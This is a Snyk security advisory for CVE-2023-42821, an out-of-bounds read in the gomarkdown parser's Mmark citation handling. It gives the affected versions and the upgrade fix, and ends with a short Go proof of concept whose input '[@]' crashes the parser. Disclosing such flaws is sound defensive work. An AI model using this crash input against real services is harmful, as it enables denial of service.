Out-of-bounds Read Affecting github.com/gomarkdown/markdown/parser package, versions <0.0.0-20230922105210-14b16010c2ee
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMGOMARKDOWNMARKDOWNPARSER-5916451
- published24 Sept 2023
- disclosed22 Sept 2023
- creditNSEcho
Introduced: 22 Sep 2023
CVE-2023-42821 (opens in a new tab)How to fix?
Upgrade github.com/gomarkdown/markdown/parser to version 0.0.0-20230922105210-14b16010c2ee or higher.
Overview
github.com/gomarkdown/markdown/parser is a library for parsing Markdown text and rendering as HTML.
Affected versions of this package are vulnerable to Out-of-bounds Read when the citation.go file is parsing malformed markdown input with the parser.Mmark extension. An attacker can cause a denial of service or panic if the parser has the parser.Mmark extension set.
PoC
package main
import (
"github.com/gomarkdown/markdown"
"github.com/gomarkdown/markdown/parser"
)
func main() {
ext := parser.CommonExtensions |
parser.Attributes |
parser.OrderedListStart |
parser.SuperSubscript |
parser.Mmark
p := parser.NewWithExtensions(ext)
inp := []byte("[@]")
markdown.ToHTML(inp, p, nil)
}